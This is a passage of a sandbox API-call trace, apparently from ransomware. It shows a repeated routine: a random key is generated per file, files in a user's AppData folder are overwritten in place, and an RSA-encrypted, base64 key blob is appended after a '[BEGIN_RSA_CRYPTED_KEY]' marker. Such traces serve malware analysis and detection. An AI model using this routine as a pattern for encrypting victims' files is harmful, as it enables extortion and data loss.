hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.246] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.246] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e548, pcchString=0x2e3f9a8 | out: pszString="0U6o5cQhtMlABQi37tqW08GODvGbaRJzp+QOZ/vhaqg+m02Ai9yap8PBDUsXigB3\nJRwJ77dFu/qRIbea/3+6TMfPYUCOUrsH8Akt9JwLlj/rsivcTJsSA09IOhNVQssm\nLs+IZJARIH5wK4pPW9auTAb2DokyKrKCvRlF6GGOgyIaDy8YBfsdrMSQuRrhc7v3\n+HY/IkKNMSKi4Em0V1J2ieV2l4/IOdRIaraT01WQc+S49UhHxFdkWzB2XF4P367g\nhJdOCNiRg+GAipFxrBPNlIP595cuHxOtv/i2GgyIdFe7AMCXBwhb4Ld/h+0zJPxS\nkr52YTZkwmzlQT+XZhXyUA==\n", pcchString=0x2e3f9a8) returned 1 [0212.246] WriteFile (in: hFile=0x1830, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.247] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.247] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.247] CloseHandle (hObject=0x1830) returned 1 [0212.249] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.249] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\364feb5b-d4ef-4192-b8de-cb11ed31a7ef.03344d37-6323-473f-b307-879be5d91c6e.down_meta", dwFileAttributes=0x80) returned 1 [0212.249] ReadFile (in: hFile=0x1830, lpBuffer=0x66e548, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.278] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.278] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0212.279] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c0 [0212.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.279] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e548, pcchString=0x2e3f9a8 | out: pszString="38KbPRQDIcguoauOmP2S09Odfbk8Eqxwp4/5UiSPkwLO/w8hrsgQJQunXu6sd6c7\ninV6zHFs1YcmVK/qRkSeKROjwOvKXTMt4H/bfJcdM63odAzOKKirhwapR/KYqvpf\ncjL2VQnyT4nWGckBzIMOx2gTmqwyttl7BDGvefW9GxnYR6ZgUqFW0yTqT+gICX4I\nKqmTQoBo6dmi/J2Jcg06O3eMikuS7ptA3Pa4HS54T2wRJithuHRvvmo2JwkWUXX2\nVEY92tNVm0+lcUXMYKmHqko5hQ39AXtbXJ3p8InLmoR91WYuvcprMlOzEu+jjgYH\nFRNPPmE+x8q38ojsY2rQIg==\n", pcchString=0x2e3f9a8) returned 1 [0212.280] WriteFile (in: hFile=0x1830, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.280] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.281] CloseHandle (hObject=0x1830) returned 1 [0212.361] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.361] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\2e1af1ae-b809-47bf-b9e5-572e6d5ddbfe.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.362] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.362] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.362] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.362] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.362] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.362] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.363] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.363] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="laF7iyH3gnHC4w6Xx/Q/jLFMDPTNUB06dah7jEtTnuHhBCKl0NoeYZGlrbSXlGqQ\nXPM3NxRwKimLRY9VBodCE2Uk/mHRonaoM8PDfbNQfaq6cUoqJVnufY4JlcTEsCol\ntbP8bTxPhzMSlv954GRGioZ4rChEUktrsmqkfYC22ZSDgxqjwUOgBuRyUhwSGnMK\nWBcI5nMiN+rIYzoF19RY56ctN32w2h8IM9KWFTIiq5vkaamZ9UONjn6LlZw1Lnxb\nD8LHq7f1f9IHZ1/Qb1iolvgW7qxkjyeAaTjSrG5MfW6mad555KGr92019JhRW3K7\nYWSjP0V23eCPyiCjo1qWhg==\n", pcchString=0x2e3f9a8) returned 1 [0212.363] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.364] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.364] CloseHandle (hObject=0x1830) returned 1 [0212.366] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.366] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.366] ReadFile (in: hFile=0x1830, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.366] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.366] WriteFile (in: hFile=0x1830, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.366] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.366] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.367] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ywnxy1lKJGeprRh4xfWP++XMz78tU967TO4Kw/UIXUmh7lcOf7nxSUeHg9+x/jqT\ng/lvrqnmWdDpEUXdWaPn1XwhC/A+gxKkt14qgvuE9hw2K2dcXprUO0Mkt+Vfwwzb\nymY1ogDCbhXA7S1unscOG2qS60l/dvnlHJcxLzotG0m7EcFr9prLig9oagWWYexd\nMKdDUwIMu8tDEL+gQD5ISJM/DWDvz1e1K+WankNtQt+juHjLYifoyzm8uaM4fxjc\nLJJHVUCYs35eRHys/87yvfd6+H13FVTnJh6SzpC2PNnl1VKCRb4lRtmcssYY0l2W\nkS2oK6aka0pnlZVeB72vhQ==\n", pcchString=0x2e3f9a8) returned 1 [0212.368] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.369] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.369] CloseHandle (hObject=0x1830) returned 1 [0212.371] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.371] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.up_meta", dwFileAttributes=0x80) returned 1 [0212.372] ReadFile (in: hFile=0x1830, lpBuffer=0x662c40, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0212.372] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.372] WriteFile (in: hFile=0x1830, lpBuffer=0x661f90*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0212.373] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0212.373] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.373] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.374] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.374] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FKtcZyKIvkiWZ8wCo3+7RxufjIF2SSSM0LjCIkkXb05VaK3HeO7BT9nd+itE+VEh\nG9t3VGr49luTi2KWWo+Tzau0nNPvZttrhJp3xziK/KZIUOiv5TT4EMFFy19Lrmrm\nTKUvP8DiFgp1Uj8t/JxId+fyZrjC7YK9QLQuyTzCdiuw2MvwaWrC3n+yQl8OnNFt\n+mnEwKOBGXSutjAnQ53Lh87h37bqctvkBXrZiETz0cxtYs5R0Au6PkwxLrgNE0Mw\nXzayMUdfQZII9RK+Xt2i/WHnXbnAJN9NWER0Uh5h/qfANi6YXiEqxJIBM+6ldcGD\nA4YOkgmf4wdLpEITf+WuTQ==\n", pcchString=0x2e3f9a8) returned 1 [0212.374] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.375] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.375] CloseHandle (hObject=0x1830) returned 1 [0212.377] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.377] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.7647c411-ba98-4335-90cc-b9513179ac81.down_meta", dwFileAttributes=0x80) returned 1 [0212.377] ReadFile (in: hFile=0x1830, lpBuffer=0x66e548, nNumberOfBytesToRead=0x5ca, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x5ca, lpOverlapped=0x0) returned 1 [0212.396] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.396] WriteFile (in: hFile=0x1830, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x5ca, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5ca, lpOverlapped=0x0) returned 1 [0212.397] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5ca [0212.397] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.397] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.397] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.397] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1wcHBB0HK2Hg+Iyd4CFaA4//evISq1WRheEMZrmdCLqF670rrjheLSyzUyE07vZi\n9BO132gobngbk2zTbd8cDTV9z2jiZavmEUcTBMl2qiRrr7lRJBIJCedA7oVoMivh\nDu6jCxGlHW/b1T3OIy0V6eeYeQXK8/n6mYNN0kVFrdvHoxS53fyACbJe7RoI1qh2\nf/SfuWfaxIA4Q5w0dpYfTDxn7/xggoNVvsKVoQH7oGWFlf803kYUk3fQWJ3uku6Q\nOFLMY4axVdbgLv3x1uN2tO0nfGFpbBvzbc2ZwIGiAcaK8P5o4DB2jY2MMj3wOg+h\nBdXBcbIG3nx8Df+TfkWaMg==\n", pcchString=0x2e3f9a8) returned 1 [0212.398] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.398] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.398] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.398] CloseHandle (hObject=0x1830) returned 1 [0212.399] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.399] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.up_meta_body", dwFileAttributes=0x80) returned 1 [0212.400] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.400] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.400] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0212.400] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0212.400] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.400] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0212.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0212.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0212.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YzIPcbNKAfSkaaa2L94QDDMjFnPYWBKu5b/wNZ6wDrVHGKpTn5xeDgtBP1Xifm0D\n+WQnw/YK6GCJH+fspyxyZfd5aaQONpuAkMdNE0x79TOWJBuyyTvwuV87+IFoh76f\n4tayReJU9pfF69VJVlsyfEZeg7KUaqUtHvLfyR9MEVPEzsiqpSq1yPLrZuirWgbe\nzBinXKoSRBT3mk2frNQ1Hh0lM2d+wyG+K8ZrQfJbanxlfVi1t+Sc41Z/uIqPxQvh\nmJqtlyfqXsGdSTNdEptGeLjTMV1T4861rjGcXFhFrjFCUJUn71sIDXK0EQAKipcV\nAHumyvckxNXzhelECR0hXA==\n", pcchString=0x2e3f9a8) returned 1 [0212.402] WriteFile (in: hFile=0x1830, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0212.403] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.403] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.403] CloseHandle (hObject=0x1830) returned 1 [0212.421] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0212.421] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.up_meta", dwFileAttributes=0x80) returned 1 [0212.421] ReadFile (in: hFile=0x1830, lpBuffer=0x5bd3b8, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.422] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.422] WriteFile (in: hFile=0x1830, lpBuffer=0x5bf3d8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bf3d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0212.423] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0212.423] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0212.423] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0212.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 